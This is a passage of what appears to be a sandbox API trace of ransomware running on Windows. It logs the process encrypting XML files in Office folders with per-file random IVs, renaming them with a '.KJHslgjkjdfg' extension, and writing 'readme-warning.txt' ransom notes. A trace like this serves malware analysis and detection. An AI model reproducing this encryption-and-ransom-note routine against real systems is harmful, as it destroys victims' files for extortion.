pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.829] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.829] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.829] GetProcessHeap () returned 0x990000 [0164.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.829] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.829] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.829] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.829] GetProcessHeap () returned 0x990000 [0164.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.829] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.829] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.829] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.829] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.829] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.830] RegCloseKey (hKey=0x114) returned 0x0 [0164.830] GetProcessHeap () returned 0x990000 [0164.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.830] GetProcessHeap () returned 0x990000 [0164.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.830] GetProcessHeap () returned 0x990000 [0164.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.830] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.830] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.830] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.830] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.830] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.830] GetProcessHeap () returned 0x990000 [0164.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.830] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.830] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.830] GetProcessHeap () returned 0x990000 [0164.831] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.831] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\readme-warning.txt") returned 107 [0164.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.835] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.837] CloseHandle (hObject=0x114) returned 1 [0164.837] GetProcessHeap () returned 0x990000 [0164.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.837] GetProcessHeap () returned 0x990000 [0164.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.837] GetProcessHeap () returned 0x990000 [0164.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.837] GetProcessHeap () returned 0x990000 [0164.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.837] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.837] GetProcessHeap () returned 0x990000 [0164.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.837] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0164.837] GetProcessHeap () returned 0x990000 [0164.838] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc2) returned 0x9b2468 [0164.838] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.840] GetProcessHeap () returned 0x990000 [0164.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.840] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.840] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0164.840] GetProcessHeap () returned 0x990000 [0164.840] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c4) returned 0x9b7e10 [0164.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.840] GetProcessHeap () returned 0x990000 [0164.840] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.840] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.841] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xe, lpOverlapped=0x0) returned 1 [0164.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.845] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.845] GetProcessHeap () returned 0x990000 [0164.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.845] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.845] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.845] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.845] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.845] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.846] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.846] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.846] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.846] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x5b2, lpOverlapped=0x0) returned 1 [0164.846] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5c0) returned 1 [0164.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.846] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x5c0, lpOverlapped=0x0) returned 1 [0164.846] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.846] SetEndOfFile (hFile=0x114) returned 1 [0164.849] GetProcessHeap () returned 0x990000 [0164.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.849] GetProcessHeap () returned 0x990000 [0164.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.kjhslgjkjdfg")) returned 1 [0164.856] CloseHandle (hObject=0x114) returned 1 [0164.856] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0164.856] GetProcessHeap () returned 0x990000 [0164.856] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.856] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.856] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.856] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.856] GetProcessHeap () returned 0x990000 [0164.856] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.856] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.856] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.856] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.856] GetProcessHeap () returned 0x990000 [0164.856] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.856] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.857] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.857] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.857] GetProcessHeap () returned 0x990000 [0164.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.857] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.857] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.857] GetProcessHeap () returned 0x990000 [0164.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.857] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.857] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.857] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.857] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.857] RegCloseKey (hKey=0x114) returned 0x0 [0164.857] GetProcessHeap () returned 0x990000 [0164.857] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.857] GetProcessHeap () returned 0x990000 [0164.857] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.858] GetProcessHeap () returned 0x990000 [0164.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.858] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.858] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.858] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.858] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.858] GetProcessHeap () returned 0x990000 [0164.858] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.858] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.858] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.858] GetProcessHeap () returned 0x990000 [0164.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.858] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\readme-warning.txt") returned 107 [0164.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.859] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.860] CloseHandle (hObject=0x114) returned 1 [0164.860] GetProcessHeap () returned 0x990000 [0164.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.860] GetProcessHeap () returned 0x990000 [0164.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.861] GetProcessHeap () returned 0x990000 [0164.861] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.861] GetProcessHeap () returned 0x990000 [0164.861] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.861] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.861] GetProcessHeap () returned 0x990000 [0164.861] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.861] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0164.861] GetProcessHeap () returned 0x990000 [0164.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xce) returned 0x9b2468 [0164.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.861] GetProcessHeap () returned 0x990000 [0164.861] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.861] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.861] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0164.861] GetProcessHeap () returned 0x990000 [0164.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2d0) returned 0x9b7e10 [0164.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.864] GetProcessHeap () returned 0x990000 [0164.864] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.864] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.864] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x5, lpOverlapped=0x0) returned 1 [0164.890] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.890] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.890] GetProcessHeap () returned 0x990000 [0164.891] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.891] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, 